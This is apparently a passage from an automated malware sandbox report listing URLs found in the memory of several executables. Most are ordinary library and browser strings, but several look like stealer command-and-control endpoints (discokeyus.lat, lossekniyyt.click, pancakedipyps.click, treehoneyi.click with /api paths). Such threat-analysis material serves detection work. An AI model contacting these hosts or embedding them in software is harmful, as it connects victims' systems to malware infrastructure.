Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://openid.net/srv/ax/1.0
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
Source: Baursystempower.exe, 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: 8a32a8d958.exe, 0000000D.00000003.3643221785.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3645296743.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/2
Source: 8a32a8d958.exe, 0000000D.00000003.3595724306.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3618669284.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3619407282.0000000001528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/D
Source: 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014A5000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/W
Source: 8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/X
Source: 8a32a8d958.exe, 0000000D.00000003.3618669284.000000000151B000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3575596742.0000000001537000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3595724306.000000000151B000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3645208738.000000000151B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api.win
Source: 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiM
Source: 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apin
Source: 8a32a8d958.exe, 0000000D.00000002.3645208738.000000000151B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apir
Source: 8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/c
Source: 8a32a8d958.exe, 0000000D.00000003.3580404606.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3643221785.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3595724306.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3618669284.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3645296743.0000000001529000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3575596742.000000000152A000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3619407282.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3580002790.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/j
Source: 8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/u
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3350482132.0000000003DD4000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000385F000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.00000000037CF000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003CBF000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 87c402ca32.exe, 00000009.00000002.3519078465.00000000012B2000.00000004.00000020.00020000.00000000.sdmp, 87c402ca32.exe, 00000009.00000002.3520186206.0000000001339000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: 87c402ca32.exe, 00000009.00000002.3519078465.00000000012B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/C
Source: 87c402ca32.exe, 00000009.00000002.3520186206.0000000001346000.00000004.00000020.00020000.00000000.sdmp, 87c402ca32.exe, 00000009.00000002.3520186206.0000000001339000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: 87c402ca32.exe, 00000009.00000002.3520186206.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.l
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/1
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/B9
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000002.3723487782.0000000000BB7000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000002.3726139545.0000000003330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api)
Source: 1de5b2f311.exe, 00000015.00000002.3726139545.0000000003330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api2
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/n
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000002.3733433451.0000000005535000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: ece32691cf.exe, 00000017.00000002.3722379908.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000002.3722379908.000000000081E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiR
Source: ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/z
Source: ece32691cf.exe, 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/apiming
Source: 8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
